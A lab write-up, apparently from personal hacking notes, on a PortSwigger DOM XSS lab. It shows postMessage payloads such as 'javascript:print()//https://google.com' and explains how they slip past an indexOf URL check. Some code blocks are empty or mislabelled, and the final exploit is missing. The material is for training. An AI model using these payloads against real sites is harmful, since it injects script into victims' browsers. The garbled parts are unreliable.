> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/dom/dom-xss-via-web-messages-and-javascript-url.md).
# DOM XSS via Web Messages and a JavaScript URL
DOM XSS via Web Messages and a JavaScript URL notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### DOM XSS Using Web Messages and a JavaScript URL
Lab demonstrating DOM vulnerability causing redirection/execution via `postMessage`. The goal: build an HTML page on the exploit server that sends a message to run `print()` in the target page.
```javascript
```
The target page listens to posted messages and treats the received data as a URL. If the received string contains `HTTP:` or `https:`, the page redirects (`location.href`) to that value. The target side code is as follows:
```javascript
window.postMessage('https://jord4n.pro', '*');
```
successfully triggers a redirect to `https://jord4n.pro`.
### Contouring Validation
Validation only blocks strings that do not contain `HTTP:` or `https:` (checking via `indexOf`). The `indexOf > -1` logic is therefore abused by adding a `//https://...` portion after a `JavaScript:` scheme so that the condition is met while maintaining a URL starting with `JavaScript:`. For example:
```javascript
window.postMessage('javascript:alert(0)', '*');
```
* To open an alert:
```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```
* To call `print()`:
```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```
The `//https://google.com` part is only used to satisfy the `indexOf('https:') > -1` condition.
#### Exploit Final
The attack page may include an iframe to the vulnerable page and, when loading, post the malicious message to embedded content. Example of implementation to be placed on the operating server:
{% code overflow="wrap" %}
```javascript
.png?alt=media)
.png?alt=media)
.png?alt=media)